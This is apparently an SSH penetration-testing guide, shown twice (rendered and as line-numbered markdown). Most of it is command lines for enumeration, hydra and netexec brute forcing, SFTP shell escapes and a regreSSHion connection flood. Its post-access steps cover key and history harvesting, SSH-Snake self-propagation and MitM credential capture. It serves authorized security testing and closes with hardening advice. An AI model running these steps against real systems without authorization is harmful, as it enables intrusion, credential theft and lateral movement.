Pentesting SSH (port 22)
When to Use
- Default port
22/tcp; management/embedded services may expose SSH/Erlang-OTP on 2022, 830, 2222.
- When
nmap/banner shows ssh, OpenSSH, Dropbear, libssh, wolfSSH, or an SSH-2.0-* banner.
- For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.
Quick Enumeration
# Banner grab
nc -vn <IP> 22
# Host key fingerprint
ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22
# nmap version + scripts
nmap -p22 <IP> -sV # version
nmap -p22 <IP> -sC # default scripts
nmap -p22 <IP> --script ssh2-enum-algos # supported algorithms
nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full # weak keys
nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root" # auth methods
# Full crypto/config audit (algorithms, CVEs, recommendations)
python3 ssh-audit.py <IP>
Critical: Checks Most Often Missed
- Auth-method downgrade — strong methods enabled without disabling
password. Verbose mode reveals weaker methods still offered.
- Default / known credentials — vendor defaults are common on appliances (see table). Also try SecLists
ssh-betterdefaultpasslist.txt.
- How to CONFIRM:
hydra -l <user> -P creds.txt -t 4 ssh://<IP>.
- Weak / leaked host & user keys — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
- How to CONFIRM:
nmap --script ssh-publickey-acceptance or msf> use scanner/ssh/ssh_identify_pubkeys.
- SFTP shell escape — users confined to SFTP with
/usr/bin/nologin can still get command execution by requesting a command at connect time.
- How to CONFIRM:
ssh user@<IP> id or ssh user@<IP> /bin/bash returns output despite "no shell".
- High-impact CVEs to triage from the banner:
- regreSSHion CVE-2024-6387 (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when
LoginGraceTime is non-zero.
- XZ backdoor CVE-2024-3094 (liblzma 5.6.0/5.6.1) — sshd
RSA_public_decrypt hook; verify what's installed, do not trust banner alone.
- Erlang/OTP SSH CVE-2025-32433 — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).
- libssh CVE-2018-10933 — server accepts client-sent
SSH_MSG_USERAUTH_SUCCESS.
How to CONFIRM the XZ backdoor (avoid banner false negatives)
xz --version
rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
sha256sum /usr/lib*/liblzma.so*
ldd /usr/sbin/sshd | grep -E "systemd|lzma" # does sshd even pull the dependency?
Workflow
Step 1: Enumerate (version, algorithms, auth methods)
ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
# User enumeration via timing (some OpenSSH versions)
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
Step 2: Authenticate (default creds, keys, brute force)
# Brute force credentials
hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
nxc ssh <IP> -u users.txt -p passwords.txt
# Try discovered/known private keys
nmap --script ssh-publickey-acceptance -p22 <IP>
msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/
# Kerberos / GSSAPI (e.g., Windows OpenSSH on a DC)
sudo ntpdate <dc.fqdn> # avoid KRB_AP_ERR_SKEW
kinit <user> ; klist
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> # use FQDN matching the SPN
Step 3: Exploit / Extract (escape, tunnel, CVE)
# SFTP restriction escape
ssh user@<IP> /bin/bash # command requested before nologin takes over
# SFTP symlink trick (read outside chroot via a no-chroot service like web)
sftp> symlink / froot # then access /froot via the web app
# Tunnel through a compromised SSH/SFTP host
sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>
# regreSSHion lab pressure test (timing-based, vulnerable OpenSSH)
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
Step 4: Post-access / pivot
- Harvest
~/.ssh/id_*, authorized_keys, known_hosts, and .bash_history for lateral movement.
- Use SSH-Snake to recursively self-propagate across hosts using discovered private keys.
- For MitM credential capture on the LAN, combine ARP/DNS spoofing with SSH-MITM.
Key Concepts
| Concept |
Description |
| Algorithm audit |
Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with ssh-audit/ssh2-enum-algos. |
| Auth-method downgrade |
password left enabled alongside publickey; forced via PreferredAuthentications=password. |
| Vendor defaults |
Appliances ship known user:pass pairs (Cisco, Dell, HP, Huawei, etc.). |
| Weak PRNG keys |
Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). |
| SFTP escape |
Requesting a command at login bypasses nologin/forced-command restrictions. |
| State-machine flaws |
Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). |
| GSSAPI/Kerberos auth |
TGT-based login when the server exposes a host SPN. |
Tools & Systems
| Tool |
Purpose |
| nmap NSE |
ssh2-enum-algos, ssh-hostkey, ssh-auth-methods, ssh-publickey-acceptance. |
| ssh-audit |
Server/client config audit; algorithm + CVE reporting (jtesta fork). |
| ssh-keyscan / openssl |
Host key fingerprinting and banner grabbing. |
| hydra / netexec (nxc) |
Credential brute force and spraying. |
| Metasploit |
scanner/ssh/ssh_version, ssh_enumusers, ssh_identify_pubkeys, juniper_backdoor. |
| SSH-Snake / SSH-MITM |
Key-based self-propagation; MitM credential capture. |
| ssh-keybrute.py |
Lightweight python key brute-forcer with legacy algorithm support. |
Common Scenarios
Scenario 1: Password auth left enabled → brute force
ssh -v <IP> shows password is still offered behind publickey. Forcing PreferredAuthentications=password and running hydra with the SecLists default list yields a valid login.
Scenario 2: SFTP-only user escapes to a shell
A backup user is configured with ForceCommand internal-sftp but the password/keyboard-interactive method still spawns a shell. ssh backup@<IP> /bin/bash returns an interactive root-group shell.
Scenario 3: Vulnerable OpenSSH banner
Banner reveals OpenSSH 9.2p1 with non-zero LoginGraceTime. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.
Output Format
## SSH Finding
**Service**: SSH
**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
**Severity**: High
**Finding**: Password authentication enabled with weak credentials
**Evidence**:
- ssh -v <IP>: "Authentications that can continue: publickey,password"
- hydra ssh://<IP>: login "deploy:Summer2024" valid
**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
**Recommendation**:
1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
2. Disable root login (`PermitRootLogin no`).
3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
4. Patch the daemon and restrict exposure of management ports.
1---2name: pentesting-ssh3description: Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements.4license: Apache-2.05---6
7# Pentesting SSH (port 22)
8
9## When to Use
10- Default port `22/tcp`; management/embedded services may expose SSH/Erlang-OTP on `2022`, `830`, `2222`.
11- When `nmap`/banner shows `ssh`, `OpenSSH`, `Dropbear`, `libssh`, `wolfSSH`, or an `SSH-2.0-*` banner.
12- For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.
13
14## Quick Enumeration
15```bash
16# Banner grab
17nc -vn <IP> 22
18
19# Host key fingerprint
20ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22
21
22# nmap version + scripts
23nmap -p22 <IP> -sV # version
24nmap -p22 <IP> -sC # default scripts
25nmap -p22 <IP> --script ssh2-enum-algos # supported algorithms
26nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full # weak keys
27nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root" # auth methods
28
29# Full crypto/config audit (algorithms, CVEs, recommendations)
30python3 ssh-audit.py <IP>
31```
32
33## Critical: Checks Most Often Missed
34- **Auth-method downgrade** — strong methods enabled without disabling `password`. Verbose mode reveals weaker methods still offered.
35 - How to CONFIRM:
36 ```bash
37 ssh -v <IP> # look for: "Authentications that can continue: publickey,password,keyboard-interactive"
38 ssh -v <IP> -o PreferredAuthentications=password # force the weak method
39 ```
40- **Default / known credentials** — vendor defaults are common on appliances (see table). Also try SecLists `ssh-betterdefaultpasslist.txt`.
41 - How to CONFIRM: `hydra -l <user> -P creds.txt -t 4 ssh://<IP>`.
42- **Weak / leaked host & user keys** — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
43 - How to CONFIRM: `nmap --script ssh-publickey-acceptance` or `msf> use scanner/ssh/ssh_identify_pubkeys`.
44- **SFTP shell escape** — users confined to SFTP with `/usr/bin/nologin` can still get command execution by requesting a command at connect time.
45 - How to CONFIRM: `ssh user@<IP> id` or `ssh user@<IP> /bin/bash` returns output despite "no shell".
46- **High-impact CVEs** to triage from the banner:
47 - **regreSSHion CVE-2024-6387** (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when `LoginGraceTime` is non-zero.
48 - **XZ backdoor CVE-2024-3094** (liblzma 5.6.0/5.6.1) — sshd `RSA_public_decrypt` hook; verify what's installed, do not trust banner alone.
49 - **Erlang/OTP SSH CVE-2025-32433** — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).
50 - **libssh CVE-2018-10933** — server accepts client-sent `SSH_MSG_USERAUTH_SUCCESS`.
51
52### How to CONFIRM the XZ backdoor (avoid banner false negatives)
53```bash
54xz --version
55rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
56sha256sum /usr/lib*/liblzma.so*
57ldd /usr/sbin/sshd | grep -E "systemd|lzma" # does sshd even pull the dependency?
58```
59
60## Workflow
61
62### Step 1: Enumerate (version, algorithms, auth methods)
63```bash
64ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
65nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
66python3 ssh-audit.py <IP>
67# User enumeration via timing (some OpenSSH versions)
68msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
69```
70
71### Step 2: Authenticate (default creds, keys, brute force)
72```bash
73# Brute force credentials
74hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
75nxc ssh <IP> -u users.txt -p passwords.txt
76
77# Try discovered/known private keys
78nmap --script ssh-publickey-acceptance -p22 <IP>
79msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
80python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/
81
82# Kerberos / GSSAPI (e.g., Windows OpenSSH on a DC)
83sudo ntpdate <dc.fqdn> # avoid KRB_AP_ERR_SKEW
84kinit <user> ; klist
85ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> # use FQDN matching the SPN
86```
87
88### Step 3: Exploit / Extract (escape, tunnel, CVE)
89```bash
90# SFTP restriction escape
91ssh user@<IP> /bin/bash # command requested before nologin takes over
92
93# SFTP symlink trick (read outside chroot via a no-chroot service like web)
94sftp> symlink / froot # then access /froot via the web app
95
96# Tunnel through a compromised SSH/SFTP host
97sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>
98
99# regreSSHion lab pressure test (timing-based, vulnerable OpenSSH)
100parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
101```
102
103### Step 4: Post-access / pivot
104- Harvest `~/.ssh/id_*`, `authorized_keys`, `known_hosts`, and `.bash_history` for lateral movement.
105- Use **SSH-Snake** to recursively self-propagate across hosts using discovered private keys.
106- For MitM credential capture on the LAN, combine ARP/DNS spoofing with **SSH-MITM**.
107
108## Key Concepts
109| Concept | Description |
110|---------|-------------|
111| **Algorithm audit** | Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with `ssh-audit`/`ssh2-enum-algos`. |
112| **Auth-method downgrade** | `password` left enabled alongside `publickey`; forced via `PreferredAuthentications=password`. |
113| **Vendor defaults** | Appliances ship known `user:pass` pairs (Cisco, Dell, HP, Huawei, etc.). |
114| **Weak PRNG keys** | Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). |
115| **SFTP escape** | Requesting a command at login bypasses `nologin`/forced-command restrictions. |
116| **State-machine flaws** | Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). |
117| **GSSAPI/Kerberos auth** | TGT-based login when the server exposes a host SPN. |
118
119## Tools & Systems
120| Tool | Purpose |
121|------|---------|
122| **nmap NSE** | `ssh2-enum-algos`, `ssh-hostkey`, `ssh-auth-methods`, `ssh-publickey-acceptance`. |
123| **ssh-audit** | Server/client config audit; algorithm + CVE reporting (jtesta fork). |
124| **ssh-keyscan / openssl** | Host key fingerprinting and banner grabbing. |
125| **hydra / netexec (nxc)** | Credential brute force and spraying. |
126| **Metasploit** | `scanner/ssh/ssh_version`, `ssh_enumusers`, `ssh_identify_pubkeys`, `juniper_backdoor`. |
127| **SSH-Snake / SSH-MITM** | Key-based self-propagation; MitM credential capture. |
128| **ssh-keybrute.py** | Lightweight python key brute-forcer with legacy algorithm support. |
129
130## Common Scenarios
131### Scenario 1: Password auth left enabled → brute force
132`ssh -v <IP>` shows `password` is still offered behind `publickey`. Forcing `PreferredAuthentications=password` and running hydra with the SecLists default list yields a valid login.
133
134### Scenario 2: SFTP-only user escapes to a shell
135A backup user is configured with `ForceCommand internal-sftp` but the `password`/keyboard-interactive method still spawns a shell. `ssh backup@<IP> /bin/bash` returns an interactive root-group shell.
136
137### Scenario 3: Vulnerable OpenSSH banner
138Banner reveals OpenSSH 9.2p1 with non-zero `LoginGraceTime`. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.
139
140## Output Format
141```
142## SSH Finding
143
144**Service**: SSH
145**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
146**Severity**: High
147**Finding**: Password authentication enabled with weak credentials
148**Evidence**:
149 - ssh -v <IP>: "Authentications that can continue: publickey,password"
150 - hydra ssh://<IP>: login "deploy:Summer2024" valid
151**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
152**Recommendation**:
153 1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
154 2. Disable root login (`PermitRootLogin no`).
155 3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
156 4. Patch the daemon and restrict exposure of management ports.
157```